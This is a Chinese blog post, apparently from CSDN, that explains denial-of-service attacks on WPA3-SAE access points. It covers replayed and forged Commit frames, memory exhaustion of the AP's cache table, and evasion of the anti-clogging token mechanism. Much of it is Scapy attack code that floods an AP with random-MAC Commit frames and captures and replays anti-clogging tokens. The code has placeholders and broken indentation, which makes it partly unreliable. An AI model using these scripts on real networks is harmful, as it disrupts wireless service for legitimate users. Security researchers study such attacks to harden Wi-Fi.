WPA3-SAE中的Dos攻击(一)

       早在WPA3诞生之初,WPA3就面临着SAE握手开销较大的困扰。攻击者可以利用这一漏洞通过耗尽AP资源的方式实现拒绝服务攻击,尽管Wi-Fi联盟提出了诸如防阻塞机制和使用缓存表等方式来减少这一漏洞带来的威胁。但时至今日,这一问题依然没有得到彻底解决,攻击者依然可以利用SAE握手高开销的漏洞实现拒绝服务攻击。本节主要介绍通过耗尽资源的方式实现的拒绝服务攻击。这种攻击方式的主要思想是利用SAE握手开销大的特性,不断的发送Commit请求帧给AP,使得AP因为构造回复帧而大量消耗资源,进而导致拒绝服务攻击。下面我们就具体的对这种攻击进行详细讲解。

       

一、Commit请求帧重放攻击

Commit请求帧重放攻击,使用设置监听模式的无线网卡以及抓包工具对目标AP进行监听,在监听中抓取合法的Commit请求帧并通过脚本进行大量的重放。这些攻击包完全是基于合法Commit请求帧的重放,所有攻击包的内容与合法Commit请求帧完全一致。这一行为会导致目标AP为计算密钥元素P和构造Commit回复帧而消耗大量资源,进而造成拒绝服务攻击。

 

二、Commit请求帧构造攻击

使用随机MAC的Commit请求帧攻击的基本原理是利用编程技术使用随机产生的MAC地址加合法的Scalar、Group、Finite(Scalar、Group、Finite必须使用合法的而不是随机生成的,这是因为认证双方会经过简单可行的检测后抛弃所有不在椭圆曲线上的值)等参数不断构造新的Commit请求帧并发送给AP,这使得AP无法在自身的缓存表中找到相应的Commit回复帧信息,只能不断的计算新的密钥元素P并构造Commit回复帧以进行回复,进而大量消耗资源造成拒绝服务攻击。

#随机生成MAC地址
def rand_mac():
    return '%02x:%02x:%02x:%02x:%02x:%02x'%(
         random.randint(0,255), random.randint(0,255),
         random.randint(0,255), random.randint(0,255),
         random.randint(0,255), random.randint(0,255)
     )
#常用组19
group = '\x13\x00'

confirm = 'valid_confirm'
#从列表中随机选取Scalar
def scalar():
    scalar=['list of scalar']
    return random.choice(scalar)
Scalar=scalar()
#从列表中随机选取Finite
def finite():
    finite=['list of finite']
    return random.choice(finite)
Finite=finite()
#创建含有大量含有随机MAC的txt文件
def create_mac_file(count, filename):
    os.system('sudo rm -rf "%s"' % filename)
    for n in range(int(count)):
        mac = '%02x:%02x:%02x:%02x:%02x:%02x' % (random.randint(0, 255), random.randint(0, 255),random.randint(0, 255), random.randint(0,255),random.randint(0, 255), random.randint(0,255))
        with open(filename, 'a') as fs:
            fs.write(str(mac))
            fs.write('\n')
            fs.close()
    global f
    f =open(filename, 'r')
    os.system('sudo chmod 777 -R "%s" ' % filename)

    # 根据AP的BSSID和文件中的MAC地址创建Commit帧
    def auth_frame_fromfile(self):
        client = f.readline()
        return RadioTap() / Dot11(type=0, subtype=11, addr1=bssid, addr2=client, addr3=bssid) / Dot11Auth(algo=3,seqnum=1,status=0)

# 使用特定源地址构建Commit帧认证头
def Auth_commit(mac):
return RadioTap() / Dot11(type=0, subtype=11, addr1=bssid, addr2= mac, addr3=bssid) / Dot11Auth(algo=3,seqnum=1,status=0)

def commmit_attack(self):
    for i in range(int(count)):
#使用随机MAC地址构建Commit帧并发送
        random_commit = Auth_commit(Random_MAC) / group / Scalar / Finite
        sendp(random_commit, inter=0.00001, count=5, iface="%s" % iface)

三、内存溢出攻击

内存溢出攻击是一种针对AP的缓存表机制进行的攻击。这种攻击通过不断的、低频率的、在不触发防阻塞机制的情况下向AP发送Commit请求帧,并希望以此来耗尽AP的内存。这可能会导致AP进入以下两种状态:

(1)起初,AP会正常的接收Commit请求帧,计算生成Commit回复帧,并将它们存入内存。当有新的Commit请求帧出现时,AP会在内存中执行查找操作,以获取Scalar、Finite等相关参数。这个状态通常被称为“允许重用先前的密钥元素P”.

(2)当攻击进行一段时间后AP会进入第二种状态,在这个状态中,内存已满,AP无法为新的参数分配内存。在这种状态下,AP会继续生成新的Scalar、Finite等相关参数,并尝试构造Commit回复帧进行回复。但是由于内存不足,AP无法进行回复,或者回复后由于内存不足无法存储安全关联SA,进而造成拒绝服务攻击。[9]

此外,为了提高攻击成功的概率,尽最大可能的消耗目标AP的资源,攻击者可以构造Commit请求帧会使用不同的Group参数,当STA变化Group时,AP都会删除之前绑定到该源MAC地址的SAE协议实例,它需要重新计算密钥元素P、Scalar、Finite和PMK。

四、应对防阻塞机制的攻击

由于防阻塞机制的出现,攻击手段也相应的进行了升级,产生了一种应对防阻塞机制的攻击方式。这种攻击的基本原理是:

攻击者首先使用随机的MAC地址构造大量的Commit请求帧发送给目标AP,当AP接收到的来自不同MAC地址的Commit请求帧数量超过阈值时就会触发AP的防阻塞机制。AP会以防阻塞令牌的方式进行回复。这时攻击者使用具有监听功能的无线设备将防阻塞令牌截获,并按照AP的要求在重新构造的Commit请求帧中重复防阻塞令牌发送给目标AP。此时,AP会检验攻击者重新构造的Commit请求帧,通过检验后,AP会计算Commit回复帧进行回应。这种攻击模仿合法的STA回应了防阻塞机制,并使一部分攻击包能够到达AP。

 

#从列表中随机选取Scalar
def scalar():
    scalar=['list of scalar']
    return random.choice(scalar)
Scalar=scalar()
#从列表中随机选取Finite
def finite():
    finite=['list of finite']
    return random.choice(finite)
Finite=finite()
#创建含有大量含有随机MAC的txt文件
def create_mac_file(count, filename):
    os.system('sudo rm -rf "%s"' % filename)
    for n in range(int(count)):
        mac = '%02x:%02x:%02x:%02x:%02x:%02x' % (random.randint(0, 255), random.randint(0, 255),random.randint(0, 255), random.randint(0,255),random.randint(0, 255), random.randint(0,255))
        with open(filename, 'a') as fs:
            fs.write(str(mac))
            fs.write('\n')
            fs.close()
    global f
    f =open(filename, 'r')
    os.system('sudo chmod 777 -R "%s" ' % filename)

    # 根据AP的BSSID和文件中的MAC地址创建Commit帧
    def auth_frame_fromfile(self):
        client = f.readline()
        return RadioTap() / Dot11(type=0, subtype=11, addr1=bssid, addr2=client, addr3=bssid) / Dot11Auth(algo=3,seqnum=1,status=0)

# 使用特定源地址构建Commit帧认证头
def Auth_commit(mac):
return RadioTap() / Dot11(type=0, subtype=11, addr1=bssid, addr2= mac, addr3=bssid) / Dot11Auth(algo=3,seqnum=1,status=0)

# 使用特定源地址构建Confirm帧认证头
  def Auth_confirm(mac):
return RadioTap() / Dot11(type=0, subtype=11, addr1=bssid, addr2= mac, addr3=bssid) / Dot11Auth(algo=3,seqnum=1,status=0)

    # 使用特定的MAC地址和对应的防阻塞令牌构建Commit请求帧
    def construct_token(self,token, mac):
        Auth = self.auth_frame_mac(mac)
        return Auth / group / token / Scalar / Finite
def pmk_gobbler(self):
#创建一个含有大量随机MAC地址的文件
    create_mac_file(count, filename)
    for p in range(500):
        start = True
        # 创建一个新的pcap文件以便检索防阻塞令牌
        os.system('sudo rm -rf ' + filename_pcap)
        os.system('sudo cp template.pcap ' + filename_pcap)
        # 发送Commit帧并监听防阻塞令牌
        for n in range(int(count)):
            if start == True:
                if os.path.isfile(filename_pcap) == True:
                    os.system('sudo rm -rf ' + filename_pcap)
                    # 开始监听认证帧并提取源MAC地址
                    listener = subprocess.Popen(['sudo tcpdump -i "%s" -w "%s" -e -s 0 type mgt subtype auth and wlan src "%s" ' % (iface,filename_pcap, bssid)], stdout=subprocess.PIPE, shell=True)
                    start = False
#按照创建文件中的MAC地址开始发送Commit帧
            sendp(self.construct_fromfile(), inter=0.0001, iface="%s" % iface )
        #从监听得到的包中检索防阻塞令牌并开始攻击
        with open(filename) as k:
            for mac in k:
                start = True
# 获取文件中MAC地址对应的防阻塞令牌
                add_argument = 'DA ==' + mac
                process = subprocess.Popen('sudo tshark -r "%s" -Y "%s" -T fields -e wlan.fixed.anti_clogging_token' % (filename_pcap, add_argument), stdout=subprocess.PIPE, shell=True)
                process.wait()
                # 对字段进行裁剪只提取防阻塞令牌
                anti_token = process.communicate()[0]                
# 发送带有防阻塞令牌的Commit帧
                if not anti_token == ' ':
                    try:
                 sendp(self.construct_token(bytes.fromhex(anti_token), mac), inter=0.000001, count=10,iface="%s" % iface)
                    except Exception as e:
                        print('Error: ' + str(e))
            listener.terminate()
        #完成一轮攻击

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

kerberos333

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值